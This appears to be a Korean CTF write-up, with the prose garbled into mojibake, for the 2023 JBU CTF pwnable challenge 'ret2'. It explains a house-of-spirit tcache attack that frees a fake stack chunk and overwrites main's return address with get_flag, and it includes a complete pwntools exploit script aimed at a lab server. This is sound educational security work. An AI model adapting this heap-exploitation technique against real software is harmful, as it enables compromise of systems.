CTF

[2023 JBU CTF] ret2 write-up

e_yejun 2023. 10. 28. 22:33

๋ถ„์•ผ : Pwnable

๐Ÿง ๋ฌธ์ œ

๋ฌธ์ œ๋ช… : ret2

ํŠน์ • ์ฃผ์†Œ๋ฅผ freeํ•  ์ˆ˜ ์žˆ๋‹ค. bins์˜ ์›ํ•˜๋Š” ์ฃผ์†Œ๋ฅผ ๋„ฃ๊ณ , malloc์œผ๋กœ ๋„ฃ์—ˆ๋˜ ์ฃผ์†Œ๋ฅผ ํ• ๋‹น๋ฐ›์„ ์ˆ˜ ์žˆ๋‹ค.

 

์œ„ ๊ตฌ์„ฑ์ด ๋ฌธ์ œํŒŒ์ผ๋กœ ์ œ๊ณต๋œ๋‹ค. ๋กœ์ปฌ์—์„œ ๋„์ปค ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์˜ฌ๋ ค ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ง„ํ–‰ํ•˜๊ณ , ๋™์ผํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์„œ๋ฒ„์— ์ „์†กํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

๐Ÿง ๋ถ„์„

์œ„์™€ ๊ฐ™์€ ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด ๊ฑธ๋ ค์žˆ๋‹ค. ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ถ„์„ํ•ด๋ณด์ž.

 

 

๐Ÿง main ํ•จ์ˆ˜ ๋ถ„์„

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-34h] BYREF
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  ssize_t v6; // [rsp+38h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  printf("Your name : ");
  v6 = read(0, buf, 0x39uLL);
  if ( v6 <= 0 )
    buf[0] = 0;
  else
    buf[v6 - 1] = 0;
  printf("Happy birthday. Today is %s's birthday\n", buf);
  while ( 1 )
  {
    option();
    __isoc99_scanf("%d", &v4);
    if ( v4 <= 0 || v4 > 4 )
      break;
    switch ( v4 )
    {
      case 4:
        puts("Options in development :P");
        gift(buf);
        break;
      case 3:
        wish_edit();
        break;
      case 1:
        wish_show();
        break;
      default:
        wish_add();
        break;
    }
  }
  puts("This option is disabled.");
  return 0;
}

mainํ•จ์ˆ˜ ์ด๋‹ค. ์ƒ์ผ์ž ์ด๋ฆ„์„ ๋ฌผ์–ด๋ณด๊ณ , buf์— ์ž…๋ ฅ๋ฐ›๋Š”๋‹ค. ํ•ด๋‹น ๋ถ€๋ถ„์—์„œ bof๊ฐ€ ํ„ฐ์งˆ ๊ฒƒ ๊ฐ™์ง€๋งŒ, RET๋ณ€์กฐ๊ฐ€ ๋˜์ง€ ์•Š๋Š”๋‹ค. ์ดํ›„ ๋ฉ”๋‰ด๋ฅผ ์„ ํƒํ•˜์—ฌ ๋ฉ”๋‰ด์— ๋งž๋Š” ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋œ๋‹ค.

 

 

๐Ÿง wish_show ํ•จ์ˆ˜ ๋ถ„์„

์ž์‹ ์˜ ์œ„์‹œ๋ฆฌ์ŠคํŠธ๋ฅผ ๋ณด์—ฌ์ฃผ๋Š” ํ•จ์ˆ˜์ด๋‹ค. ๋ฐ˜๋ณต๋ฌธ์„ ํ†ตํ•ด ์œ„์‹œ๋ฆฌ์ŠคํŠธ๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.

 

 

๐Ÿง wish_add ํ•จ์ˆ˜ ๋ถ„์„

size๋ฅผ ์ž…๋ ฅ๋ฐ›๊ณ  chunk๋ฅผ ํ• ๋‹นํ•œ๋‹ค. ์ด 10๊ฐœ์˜ chunk๊นŒ์ง€ ํ• ๋‹นํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

๐Ÿง wish_edit ํ•จ์ˆ˜ ๋ถ„์„

์œ„์‹œ๋ฆฌ์ŠคํŠธ๋ฅผ ์ˆ˜์ •ํ•ด์ฃผ๋Š” ํ•จ์ˆ˜์ด๋‹ค. memsetํ•จ์ˆ˜๋กœ ๊ฐ’์„ ์ดˆ๊ธฐํ™”ํ•˜๊ณ , ํ• ๋‹น๋˜์—ˆ๋˜ size๋งŒํผ ์ž…๋ ฅ์„ ๋ฐ›๋Š”๋‹ค.

 

 

๐Ÿง gift ํ•จ์ˆ˜ ๋ถ„์„

๋จผ์ €, ์ธ์ž๋กœ ๋„˜์–ด์˜จ buf๋ณ€์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅํ•ด์ค€๋‹ค. ๋˜ํ•œ, ์ •์ˆ˜๋ฅผ ์ž…๋ ฅ๋ฐ›์•„ ํ•ด๋‹นํ•˜๋Š” ์ฃผ์†Œ๋ฅผ freeํ•œ๋‹ค. ์ด ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์Šคํƒ ๋ถ€๋ถ„์— fake chunk๋ฅผ ๊ตฌ์„ฑํ•˜๊ณ , ํ•ด๋‹น ๋ถ€๋ถ„์„ freeํ•˜์—ฌ ์Šคํƒ ์ฃผ์†Œ๋ฅผ bins์— ๋„ฃ์„ ์ˆ˜ ์žˆ๋‹ค.

 

 

๐Ÿง get_flag ํ•จ์ˆ˜

get_flagํ•จ์ˆ˜์˜ ์‹œ์ž‘์ฃผ์†Œ๋Š” 0x401276์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. ์ด ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

 

 

๐Ÿง ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค

  1. Your name์„ ์ž…๋ ฅํ•  ๋•Œ, chunk๋ผ๊ณ  ์ƒ๊ฐํ•˜๊ณ  size๋ฅผ ๋„ฃ์–ด์ค€๋‹ค.
  2. 1๋ฒˆ์—์„œ ์ž…๋ ฅํ•œ buf+16(chunk์˜ mem์ฃผ์†Œ)๋ฅผ freeํ•œ๋‹ค.
  3. bins์— ๋“ค์–ด๊ฐ„ size๋งŒํผ ์Šคํƒ ๊ณต๊ฐ„์„ ๋‹ค์‹œ ํ• ๋‹น๋ฐ›๊ณ , ์ž…๋ ฅ์„ ํ†ตํ•ด RET๋ฅผ ๋ณ€์กฐํ•œ๋‹ค.

 

๐Ÿ’กhouse of spirit

 

[how2heap] house_of_spirit

Indexhouse_of_spirit.c (glibc 2.23)Analyze with GDBtcache house of spirit (glibc 2.26~)house of spirit ๊ธฐ๋ฒ•์— ๋Œ€ํ•ด ์ •๋ฆฌํ•ด๋ณผ ๊ฒƒ์ด๋‹ค. ์ด ๊ธฐ๋ฒ•์€ fastbin chunk ํฌ๊ธฐ์˜ fake cunk๋ฅผ ํ•ด์ œํ•˜์—ฌ bin์— ์‚ฝ์ž…ํ•˜๋Š” ๊ณต๊ฒฉ์ด๋‹ค. house_of_spiri

she11.tistory.com

ํ•ด๋‹น ๋ฌธ์ œ๋ฅผ ๋งŒ๋“ค๋ฉด์„œ, house of spirit ๊ธฐ๋ฒ•์— ๋Œ€ํ•ด ๊ณต๋ถ€ํ–ˆ์—ˆ๋‹ค.

 

 

๐Ÿง ์ต์Šคํ”Œ๋กœ์ž‡

from pwn import *
context.log_level = "debug"

#p = process("./ret2")
e = ELF("./ret2")
p = remote('192.168.83.137', 13579)

flag_addr = e.sym["get_flag"]

def show():
    p.sendlineafter(b"> ", str(1))

def add(size, data):
    p.sendlineafter(b"> ", str(2))
    p.sendlineafter(b"Size: ", str(size))
    p.sendlineafter(b"Data: ", data)

def edit(idx, data):
    p.sendlineafter(b"> ", str(3))
    p.sendlineafter(b"Index: ", str(idx))
    p.sendlineafter(b"Data: ", data)

def gift():
    p.sendlineafter(b"> ", str(4))
    p.recvuntil(b'is ')
    stackAddr = int(p.recvn(14),16)
    freeAddr = stackAddr + 16
    log.info('\tstack addr :' + hex(stackAddr))
    log.info('\tfree addr :' + hex(freeAddr))

    p.sendlineafter(b"addr: ", str(freeAddr))

def shell():
    p.sendlineafter(b"> ", str(99))

payload = b'A' * 8 + p64(80)
p.sendafter(b"Your name :", payload)
add(16, b'AAAA')
gift()

payload = b'A'*(0x28)
payload += p64(flag_addr)

add(64, payload)

shell()

p.interactive()

ํ•ด๋‹น exploit ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

 

์œ„ ์‚ฌ์ง„์€ free๊ฐ€ ์ง„ํ–‰๋˜์—ˆ์„ ๋•Œ์˜ bins์˜ ์ƒํƒœ์ด๋‹ค. tcachebins์˜ 0x50(80)์—์„œ ์Šคํƒ ์ฃผ์†Œ๊ฐ€ ๋“ค์–ด๊ฐ„ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

 

add(64, payload) ์šฐ๋ฆฌ๊ฐ€ ๋„ฃ๊ณ ์ž ํ•˜๋Š” ๊ฐ’์ด ์ž˜ ๋“ค์–ด๊ฐ€์กŒ๋‹ค.

 

readํ•จ์ˆ˜์—์„œ rbp์™€ buf์˜ ์ฃผ์†Œ๊ฐ€ 0x30๋งŒํผ ๋–จ์–ด์ ธ ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ์•ž์„œ ์–ป์€ ์ฃผ์†Œ์ธ 0x7ffc53f024d0์—์„œ +0x38์„ ํ•˜๋ฉด mainํ•จ์ˆ˜์˜ RET๊ณต๊ฐ„์ด ๋œ๋‹ค.

 

readํ•จ์ˆ˜๋กœ๋Š” ๋ฎ์„ ์ˆ˜ ์—†์—ˆ๋˜ RET๊ฐ€ get_flagํ•จ์ˆ˜ ์ฃผ์†Œ๋กœ ๋ฎ์˜€๋‹ค. ๋”ฐ๋ผ์„œ, flag ๊ฐ’์„ ์ถœ๋ ฅํ•ด์ค€๋‹ค.